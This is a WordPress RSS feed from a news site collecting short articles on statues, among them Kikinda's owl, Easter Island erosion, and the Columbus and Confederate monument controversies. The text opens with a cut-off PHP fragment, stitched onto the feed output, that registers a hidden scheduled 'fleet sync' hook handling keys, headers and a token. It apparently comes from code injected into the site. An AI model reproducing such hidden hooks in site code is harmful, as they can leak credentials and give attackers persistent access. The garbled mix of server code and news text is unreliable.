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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Statues – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Fri, 16 Nov 2018 01:28:46 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Statues – Brief News https://briefnews.eu 32 32 A ‘hole’ for your ‘owl’: Two Serbian cities mock each other over sexed-up statues https://briefnews.eu/a-hole-for-your-owl-two-serbian-cities-mock-each-other-over-sexed-up-statues/ https://briefnews.eu/a-hole-for-your-owl-two-serbian-cities-mock-each-other-over-sexed-up-statues/#respond Fri, 16 Nov 2018 01:28:46 +0000 http://briefnews.eu/a-hole-for-your-owl-two-serbian-cities-mock-each-other-over-sexed-up-statues/

An unfortunately-shaped statue of an owl in the Serbian city of Kikinda has provoked ridicule both internationally and at home, with a nearby city, which also has an ambiguously shaped statue, offering some “fraternization.”

Kikinda is famous for the owls that nest there in the fall, and decided to celebrate the feathery citizens with a monument created at the local terracotta workshop. The city posted photos of the monument at the beginning of this month, which it rechristened “Owl-vember.”

While up close and personal the statue does look like a stylized owl, from a distance it looks like something entirely different.

While some of the residents praised the statue, the majority of reactions on Facebook were negative, ranging from open frustration to thinly veiled sarcasm:

Now all the foreigners will make fun of us.

Take this down, all of Serbia is laughing at us. Disgrace.

This looks like many things, but not like an owl at all.

This looks nothing like an owl. Who approved this, someone blind? Horrible.

Make the owl a bit broader and add feathers, this really looks like a phallus.

Which artist created this beautiful sculpture? I need someone to weld my bike…

Perhaps the best response, however, came from Loznica. Some residents of the western Serbian town posted a photo of a postmodernist marble statue that looks like a female counterpart to the “owl.”

“We’ve had this one for a few years and we don’t mind, though we don’t even know what it’s supposed to represent,” posted the Facebook page Loznica Urban Legends, adding a Serbian-style limerick verse that invited Kikinda to “fraternize.”

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]]> https://briefnews.eu/a-hole-for-your-owl-two-serbian-cities-mock-each-other-over-sexed-up-statues/feed/ 0 No hard feelings: Clergy visit prompts Russian fine arts school to hide statues’ naughty parts https://briefnews.eu/no-hard-feelings-clergy-visit-prompts-russian-fine-arts-school-to-hide-statues-naughty-parts/ https://briefnews.eu/no-hard-feelings-clergy-visit-prompts-russian-fine-arts-school-to-hide-statues-naughty-parts/#respond Sat, 25 Aug 2018 11:43:09 +0000 http://briefnews.eu/no-hard-feelings-clergy-visit-prompts-russian-fine-arts-school-to-hide-statues-naughty-parts/

A fine arts school in Russia’s Siberia has been criticized online after deciding to hastily cover up its nude antique sculptures – all because they thought it might upset visiting Orthodox Christian priests.

The unusual take on artistic nudity occurred in the Siberian city of Novosibirsk on Thursday. Photos and a video from the State University of Architecture, Design and Fine Arts captured antique sculptures in the lobby, draped from head to toe with large baggy cloths. The act of impromptu censorship was done ahead of a visit by Russian Orthodox priests, who were arriving for a panel discussion on making local churches wheelchair-accessible.

“We were told that the sculptures were covered to avoid hurting their feelings,” one of the attendees told local media.

The fact that the statues were ‘dressed-up’ ahead of the clergymen’s visit was later all but confirmed by the university’s spokesperson as their own initiative. Once the priests left, the cloths were removed, and the statues are now back to their original ‘offensive’ form.

The incident triggered a wave of almighty facepalms online, with commentators ridiculing university staff for the uncalled-for act of self-censorship. Some took particular offence at the fact that it happened in Novosibirsk, which is considered to be Siberia’s capital of science.

Local outlet NGS.ru, which broke the bizarre news of statue-dressing, even mocked the move by photoshopping similar golden pieces of cloth around landmark sculptures to see how they might look.

Notably, the incident was met with mixed reaction from the Church. One of the priests who reportedly attended the event said that covering the statues’ naughty parts was the right call. “It’s one thing when the students are using these sculptures as drawing models because it’s a part of their curriculum. And it’s a completely different issue when outsiders arrive, who are by most part members of the clergy, as well as parishioners. There shouldn’t be something that makes a man feel unsettled,” Aleksandr Matruk told the Moscow-based radio station Govorit Moskva, causing even more uproar online.

However, Orthodox Church spokesman Vladimir Legoyda responded to the incident with a proverbial “send a fool to the market and a fool he will return again” – squarely laying all blame on the university staff.

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Easter Island, the remote volcanic island home of nearly 900 ancient monumental statues, is at risk of disappearing into the sea, according to the latest report from UNESCO.

The world heritage body blamed rising tides, which have been rapidly eroding the island’s coasts for years. However, the group is now warning that rising sea levels could completely destroy the island’s iconic ‘heads.’

“Some Easter Island statues are at risk of being lost to the sea because of coastal erosion,” said Adam Markham, deputy director of the Climate and Energy Program at the Union of Concerned Scientists and lead author of the report.

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Scientists predict oceans will rise by up to two meters by the year 2100, which they said will make “storms and waves become a greater threat” to coastal areas, according to the New York Times. Last year, a rock wall three meters from the south coast of the Polynesian island came crashing down due to the impact of strong waves.

Now, archaeologists will try to stall the coastal erosion by constructing a marine wall. The Japanese Government has even supplied a $ 400,000 subsidy to complete the work. Officials are also considering moving the massive statues and ceremonial platforms in an effort to preserve them.

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Platforms containing ancient remains and giant moai statues, which represent the ancestors of the islanders, were abandoned about 2,000 years ago. Discovered by Polynesians 1,000 years ago, the island is now a Chilean territory despite being 2,200 miles (3,500 kilometers) off the country’s coast.

Aside from the loss of archeological heritage, the 6,000 residents on the island could be at risk of losing their livelihoods, as they rely almost entirely on tourists coming to visit the sites. Last year, more than 100,000 people came to visit, and the number is expected to grow to levels that exceed the island’s capacity, according to officials. Tourism generates about $ 70 million each year through hotels, restaurants and tour businesses.

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]]> https://briefnews.eu/easter-island-statues-could-be-lost-to-sea-warns-unesco/feed/ 0 A Photographer’s Exploration of Italy’s Randomly Placed Statues https://briefnews.eu/a-photographers-exploration-of-italys-randomly-placed-statues/ https://briefnews.eu/a-photographers-exploration-of-italys-randomly-placed-statues/#respond Wed, 10 Jan 2018 19:58:39 +0000 http://briefnews.eu/a-photographers-exploration-of-italys-randomly-placed-statues/ Milan-based photographer Stefan Giftthaler documented the overwhelming number of statues throughout Italy, many of which appear in strange or mundane places. Giftthaler’s road trip around the Mediterranean country led to some interesting encounters with the statues that, as Ignant put it, could be “a tribute to Italy’s heritage — the preservation of art within the public realm, or maybe just a scattered attempt to rehome mass-produced statues.” As the artist explained to Ignant, “What is interesting to me about these statues is the fact that someone took the time to buy them and put them there.” Italy has an estimated 100,000 monuments, including statues, fountains, and archaeological remains; who are we to judge if one of them is just hanging out on a grassy island off a highway? The classical forms against modern backdrops is a fascinating sight.

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]]> https://briefnews.eu/a-photographers-exploration-of-italys-randomly-placed-statues/feed/ 0 ‘Mass murderer’: Columbus statues in US vandalized on Columbus Day https://briefnews.eu/mass-murderer-columbus-statues-in-us-vandalized-on-columbus-day/ https://briefnews.eu/mass-murderer-columbus-statues-in-us-vandalized-on-columbus-day/#respond Mon, 09 Oct 2017 20:48:08 +0000 http://briefnews.eu/mass-murderer-columbus-statues-in-us-vandalized-on-columbus-day/ Statues of Christopher Columbus, thanks to whom Europeans discovered and colonized the Americas, were vandalized in Illinois, Rhode Island and in three cities in Connecticut on the national holiday dedicated to his memory.

The Columbus statue in Chicago’s Arrigo Park was splattered with red paint, and words “mass murderer” and “decolonise” were spray-painted on the sidewalk next to the monument.

No one was in custody for the act of vandalism on Monday, CBS reported.

The same statue had been vandalized on Saturday as well. A witness saw three men defacing the statue and confronted them, according to local police. One of them fell off the bike when trying to escape. The witness detained him until police arrived. Kyle Miskell, 30, was charged with felony counts of criminal damage to government property, and criminal defacement of property.

Police departments of three cities in Connecticut ‒ Middletown, New Haven and Norwalk ‒ said Monday they were investigating vandalism perpetrated against their Columbus statues.

Someone wrote “kill the colonizer” with red paint on the 15-century explorer’s memorial in Middletown, NBC reported citing the police.

The monument to Columbus in Providence, Rhode Island was also splattered with red paint, local media reported.

Over the past several months, there have also been attacks on Columbus statues in New York and Baltimore, Maryland. The 225-year-old statue in Baltimore is said to be the oldest in the country, and possibly even in the world, dedicated to Columbus that is still standing.

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Attacks on monuments across the US have intensified since a protest against the removal of the memorial to Confederate General Robert E. Lee in Charlottesville, Virginia turned violent in August.

Many US cities have since removed monuments to those who fought against the Union during the American Civil War, but in some places people took the matter in their own hands. In Durham, North Carolina eight people were charged in August with felony counts over the toppling of a Confederate soldier statue.

However, the targeting of memorials across the country was not confined to Confederate symbols. The statue of Abraham Lincoln, who led the fight against the South, was defaced in his home city of Chicago in August.

Christopher Columbus landed in America 525 years ago – over three and a half centuries before the civil war. Critics have accused the Italian-born explorer of enslaving and killing the native populations when he first arrived in the Caribbean from Spain in 1492.

The date of his landing, October 12, has been a federal US holiday since 1937. It was adjusted to second Monday in October in 1970. Since then, grassroots efforts by Native Americans have prompted many cities, including Denver, Phoenix, Seattle and Los Angeles to replace the Columbus Day celebrations with an Indigenous Peoples’ Day.

New York Mayor Bill de Blasio recently announced he was forming a panel to review all possible “symbols of hate on city property,” including Columbus. Italian-American groups have protested the inclusion of Columbus on that list.

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]]> https://briefnews.eu/mass-murderer-columbus-statues-in-us-vandalized-on-columbus-day/feed/ 0 From statues & movies to Johnny Cash: Where next for the Confederate crackdown? https://briefnews.eu/from-statues-movies-to-johnny-cash-where-next-for-the-confederate-crackdown/ https://briefnews.eu/from-statues-movies-to-johnny-cash-where-next-for-the-confederate-crackdown/#respond Thu, 31 Aug 2017 14:46:56 +0000 http://briefnews.eu/from-statues-movies-to-johnny-cash-where-next-for-the-confederate-crackdown/

Whether you sing about him or have a name like him, no link with Robert E. Lee is off limits to activists. As statues of the Confederate general are toppled across the US, we look at which symbols have been targeted and ask which could be next.

Johnny Cash

The popular musician, known for his pacifism, once sang the song ‘God Bless Robert E. Lee,’ a title that without investigation may spark many to call for an all-out denouncement of the Arkansas man.

Taken from his 1983 album ‘Johnny 99’ the song isn’t about his admiration for the general’s beliefs, instead praising his decision to surrender which in turn saved further bloodshed.

“So this song is not about the North or the South but about the bloody brother war. Brother against brother father against son the war that nobody won. And for all those lives that were saved I gotta say God bless Robert E. Lee,” Cash sings.

The Arkansas man isn’t the only musician with references to the Confederate army, with band’s such as Lynyrd Skynyrd and singer Kid Rock performing with the controversial flag on stage.

Those unfortunate enough to be named Robert Lee

Even having the name Robert Lee was enough to lose one man a shift at work. An Asian-American sportscaster was pulled from a game at the University of Virginia following the Charlottesville attack in which one counter-protester was killed. ESPN explained its decision was a response to the “coincidence.”

READ MORE: ‘Confederate’ name gets Asian commentator yanked from ESPN telecast

“It’s a shame that this is even a topic of conversation and we regret that who calls play by play for a football game has become an issue,” ESPN said in a statement. Lee was moved to cover a different event following their decision.

‘The Dukes of Hazzard’

The iconic ’70s TV show couldn’t have been more proud of their Confederate connections, sporting a Confederate flag on their famous Dodge Charger, named ‘General Lee.’

In the show’s 2004 big screen adaptation a statue of Robert Lee made a cameo as the film’s heroes are chased by police through the streets of Atlanta.

Gone with the Wind

A Memphis theatre cancelled a showing of ‘Gone with the Wind’ after complaints it was “racist and insensitive.” The Orpheum Theater had been showing the eight Academy Award-winning 1939 film annually for 34 years.

The decision was made following several complaints on Twitter under the hashtag #HattieMcDaniel, the name of the black actress who portrayed a housemaid in the film.

“As an organization whose stated mission is to ‘entertain, educate and enlighten the communities it serves,’ the Orpheum cannot show a film that is insensitive to a large segment of its local population,” Orpheum President Bret Batterson said in a statement to Vulture.

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]]> https://briefnews.eu/from-statues-movies-to-johnny-cash-where-next-for-the-confederate-crackdown/feed/ 0 LA changes Columbus Day to ‘Indigenous Peoples Day’ as statues continue to be destroyed https://briefnews.eu/la-changes-columbus-day-to-indigenous-peoples-day-as-statues-continue-to-be-destroyed/ https://briefnews.eu/la-changes-columbus-day-to-indigenous-peoples-day-as-statues-continue-to-be-destroyed/#respond Thu, 31 Aug 2017 03:50:21 +0000 http://briefnews.eu/la-changes-columbus-day-to-indigenous-peoples-day-as-statues-continue-to-be-destroyed/ Los Angeles City has voted to rename the holiday named after Christopher Columbus to commemorate Native Americans. The measure was passed as statues of the 15th-century explorer have been destroyed in recent weeks.

Members of the Los Angeles City Council voted 14-1 to replace Columbus Day with Indigenous Peoples Day Wednesday. The day will remain a paid holiday for all city employees, but will not be officially renamed until 2019.

Councilman Mitch O’Farrell, a member of the Wyandotte Nation tribe who introduced the motion two years ago, said that by changing the name of the day, the city has established a “fitting holiday that we can all be proud of.”

“Today is a moment where we took a step that is righteous, that is just, that is healing, and that is historically clear,” O’Farrell said.

Councilman Joe Buscaino, a first-generation Italian-American, was the only opposition vote. He said the move would only serve to “cure one offense with another.”

“All of our individual cultures matter,” Buscaino said, according to the Los Angeles Times.

Buscaino and three other council members attempted to establish a holiday for indigenous peoples on August 9, a date the United Nations recognizes as Indigenous Peoples Day. However, the council rejected the measure in an 11-4 vote Wednesday.

The council established “Italian-American Heritage Day,” which will be observed on October 12, the date of Columbus’ arrival in America in 1492. It will however, will not be recognized as a paid holiday.

The vote came after council members heard arguments from a room filled with activists and protesters.

Chrissie Castro, vice chairwoman of the Los Angeles City-County Native American Indian Commission, said the city council needed to “dismantle a state-sponsored celebration of genocide of indigenous peoples.”

“To make us celebrate on any other day would be a further injustice,” Castro said, according to the Los Angeles Times.

Patrick Korten, a board member of the National Christopher Columbus Association, told KTTV that the city council made “a huge error” by blaming Columbus for the genocide of Native Americans.

“He bore no responsibility for it and as a matter of fact, if you do the slightest little bit of history on the man and read his diaries, and what was said about him following the years of the discovery, it is clear that Columbus personally had great affection for the indigenous people he encountered and went out of his way to order his men not to abuse them in any fashion,” Korten said.

Los Angeles joins San Francisco and Seattle, which have also replaced the holiday with Indigenous Peoples Day in previous years.

The measure was passed as several statues of the 15th-century explorer have been destroyed in recent weeks.

On Wednesday, a statue of Columbus was found beheaded in a park in New York City.

Bill De Blasio, the Mayor of New York City is considering ordering the removal of a landmark statue of the explorer that has stood in Columbus Circle since 1892. The statue was erected to commemorate the 400th anniversary of the explorer landing in the Americas.

After protests in Charlottesville, Virginia, turned deadly over the planned removal of a statue of Confederate General Robert E. Lee, De Blasio announced a “90-day review of all symbols of hate on city property.”

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However, following a backlash from the community over his plans to remove the statue of Columbus, De Blasio said he would consider adding a plaque to the statue that would offer an explanation about the historical figure.

Last week, vandals destroyed the oldest statue of Columbus in the nation.

The 44-foot obelisk in Baltimore, Maryland, was found with a sign leaning at the base that reads “Racism: Tear it down,” and another lying in the grass nearby that read, “The future is racial and economic justice.”

In a video posted by the vandals, a person can be seen smashing the monument with a sledge hammer while another person explains why they are destroying the 225-year-old monument.

“Racist monuments to slave owners and murderers have always bothered me,” a narrator says in the video. “Baltimore’s poverty is concentrated in African-American households, and these statues are just an extra slap in the face. They were built in the 20th century in response to a movement for African Americans’ human dignity. What kind of a culture goes to such lengths to build such hate-filled monuments? What kind of a culture clings to those monuments in 2017?”

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America has always been a trailblazer. Whether it be Silicon Valley technology or a subprime debt disaster, last week’s U.S. news is this week’s global news.

The latest export from America is the removal of controversial statues, and the world has responded with their own figures of hate.

It began with the protests in Charlottesville over the removal of a statue of General Robert E. Lee, a man whose popularity isn’t what it once was—not least because he commanded the Confederate Army, a bunch largely blamed for racial tensions that still blight America today.

British newspaper The Guardian responded by demanding that Nelson’s Column in London be pulled down because Admiral Horatio Nelson was “a white supremacist.” His monument has stood in Trafalgar Square since shortly after his defeat of the French Navy in the 1805 battle of the same name.

The victory established him as a figure in popular culture, partially because he was killed shortly before the moment of victory. His contribution to the slave trade appears far more difficult to establish. He was not a vocal opponent of it, unlike many of his contemporaries.

But should Britain beat itself up over the slave trade? It was one of the first major powers to abolish it, and the practice had largely died out on the U.K. mainland by then anyway. After abolition, the Royal Navy fought a war against slave ships in the Atlantic and freed huge numbers of people who had been kidnapped in Africa

Pulling down Nelson’s Column would wrongly imply that the average Brit has anything to be ashamed of on this issue. We do not.

The removal might also backfire: A survey of children in Trafalgar Square showed that most thought the column was a tribute to Nelson Mandela. So much for the once proud British education system!

Perhaps The Guardian should turn its attention to Oxford, where hypocritical Rhodes Scholars are trying to demolish the statue of their own benefactor: Cecil Rhodes. Luckily for Cecil, most students appreciate his contribution to their university and the authorities have declared him safe—for now.

If Rhodes Scholars removing Rhodes seems odd, then the students and professors at Ghana University have an even more controversial choice of demolition: Mahatma Gandhi.

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A petition garnering online support says the leader of the Indian independence movement was a racist who supported class divisions through the caste system. He was an Asian Supremacist, apparently.

His statue was erected in the university in 2016, after it was donated by the Indian government as a symbol of cooperation between the two countries.

It has been causing “outrage” ever since, despite Gandhi’s worldwide fame for pacifism and inclusivity. The demand to get rid of him highlights how fast this whole statue demolition thing could escalate.

Ukraine has some public art it wants rid of, too. In fact, the country announced it has completed the removal of a whopping 1,320 Soviet Era statues. It would be wrong to suggest this process had anything to do with America. The statues in question are in the Western part of the country; the Eastern part was invaded by Russia in 2014.

Moreover, the Soviet Era was an unhappy period for Ukraine, during which it suffered appalling hardship. Thus, the country has also renamed streets and parks to remove mention of communists. Many places have been renamed after Ukrainian heroes, however a Lenin Street in Zakarpattia was renamed Lennon Street in a tribute to the Beatles lead singer.

This global process of statue removal reveals an underlying problem: You cannot demolish a statue because of a change in taste or because some people dislike the person in question. If statues could only be erected to people everyone liked, then none would be built at all and all existing statues will eventually be demolished.

However, there are some people that ought not to be venerated. I cannot imagine an argument in favor of leaving statues of Hitler up in Germany.

Russia may have happened upon the answer to this question. The country has moved most of their communist era statues into one area, fallen monument park. The idea is the public can see the old statues but they are no longer making a statement by being in prominent positions.

A very sensible solution indeed.

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OZY and WGBH are bringing you a terrific new TV show, Third Rail With OZY — launching on PBS this fall! Every Wednesday, we’re debating hot topics in the lead-up. This week’s topic: “Should Confederate symbols and statues be taken down?” Email thirdrail@ozy.com with your take.

What’s in a statue? Or a flag?

Charlottesville was both an inciting moment and the product of centuries of history. The Unite the Right rally began in the Virginia city because of a single threat — the removal of a Confederate statue — and since then, Confederate symbols have been under siege. In North Carolina, a Confederate statue was toppled in front of the old Durham County Courthouse. The University of Texas at Austin decided to take down four Confederate statues overnight. Some of these removals were officially sanctioned, while others were at the hands of vigilantes.

Some 150 years after the Civil War, the United States of America remains divided over whether these landmarks are offensive reminders of slavery or document a key chapter in our shared history.

What do you think? Should Confederate symbols and statues be taken down? Let us know by emailing or answering in the comments below.

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]]> https://briefnews.eu/should-confederate-symbols-and-statues-be-taken-down/feed/ 0 Majority of Americans think Confederate statues should remain – poll https://briefnews.eu/majority-of-americans-think-confederate-statues-should-remain-poll/ https://briefnews.eu/majority-of-americans-think-confederate-statues-should-remain-poll/#respond Tue, 22 Aug 2017 16:55:42 +0000 http://briefnews.eu/majority-of-americans-think-confederate-statues-should-remain-poll/ Despite a growing push across the US to dismantle monuments to Confederate generals and those who fought for the South during the American Civil War, the majority of Americans believe they should be kept in public spaces, a new poll says.

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The Reuters/Ipsos opinion poll found that 54 percent of adults believe Confederate monuments “should remain in all public spaces.” 

In contrast, 27 percent said they “should be removed from all public spaces.”

The rest – 19 percent – said they “don’t know.”

Responses to the poll were split along racial and party lines, with white people and Republicans in favor of preservation, while Democrats and minorities tended to support removal.

The poll was conducted online in English throughout the US from August 18-21, gathering responses from 2,149 people, including 874 Democrats and 763 Republicans.

The survey also showed that the public was divided over the recent ‘Unite the Right’ rally in Charlottesville, Virginia.

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Fighting broke out earlier this month between right-wing protesters demonstrating against the removal of a Confederate-era statue from Emancipation Park, and counter-demonstrators, resulting in the death of 32-year-old counter-protester Heather Heyer and sparking nationwide outrage.

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Heyer was killed when a 20-year-old Ohio man allegedly plowed his car through people protesting against white supremacists in Charlottesville. James Alex Fields Jr., named as the driver, was described by a former teacher as having been “infatuated” with Nazi ideology.

According to the Reuters/Ipsos poll, 31 percent of Americans described the rally as “an even mix” of rioting and intimidation by white supremacists and left-wing counter-protesters. Another 28 percent saw white supremacists as the aggressors, and 10 percent mostly blamed the left-wing counter-protesters.

US cities are trying to decide what to do with hundreds of statues and monuments to the slave-holding Confederacy. On Monday, a man was charged with trying to blow up a Confederate monument in Houston, Texas, over the weekend. Andrew Cecil Schneck, 25, tried to drink liquid explosives when he was approached by officers, police said. He was spotted “among the bushes” near the statue of Confederate officer Richard Dowling in Houston’s Hermann Park after protesters demanding the removal of the statue clashed with those who wanted to see it remain. Schneck was charged with “attempting to maliciously damage or destroy property receiving federal financial assistance.” 

READ MORE: Protesters damage & deface Confederate monument in Atlanta (VIDEO)

On Monday, activists in Baltimore, Maryland, took a sledgehammer to one of the oldest monuments to Christopher Columbus in the US, blaming the European explorer for racism, murder, genocide and slavery in the Americas.

Signs that read “Racism: Tear it down” and “The Future is Racial and Economic Justice” were left next to the monument, originally erected in 1792 and moved to its current location in 1964. A plaque reading “Sacred to the memory of Chis Columbus Octob XII MDCC VIIC” was smashed with a hammer. The perpetrators filmed the act and posted the video on the YouTube channel Popular Resistance.

“Christopher Columbus symbolizes the initial invasion of European capitalism into the Western Hemisphere. Columbus initiated a centuries-old wave of terrorism, murder, genocide, rape, slavery, ecological degradation and capitalist exploitation of labor in the Americas,” said the narrator, who introduced himself as a resident of Baltimore named ‘Tye’.

The 225-year-old monument is said to be the oldest in the country, and possibly in the world, dedicated to Columbus that is still standing.

READ MORE: ‘Wave of destruction’: Columbus monument vandalized in Baltimore (VIDEO)

Last week, Baltimore City Council voted to remove four Confederate monuments in the city. The move follows protesters pulling down a Confederate memorial in Durham, North Carolina, after a deadly weekend of protests over another statue in Charlottesville, Virginia. 

Earlier this month, a monument to American reunification in Atlanta, Georgia, was damaged and splattered with red paint by a group of activists who demanded its removal, citing racially motivated violence in Charlottesville. 

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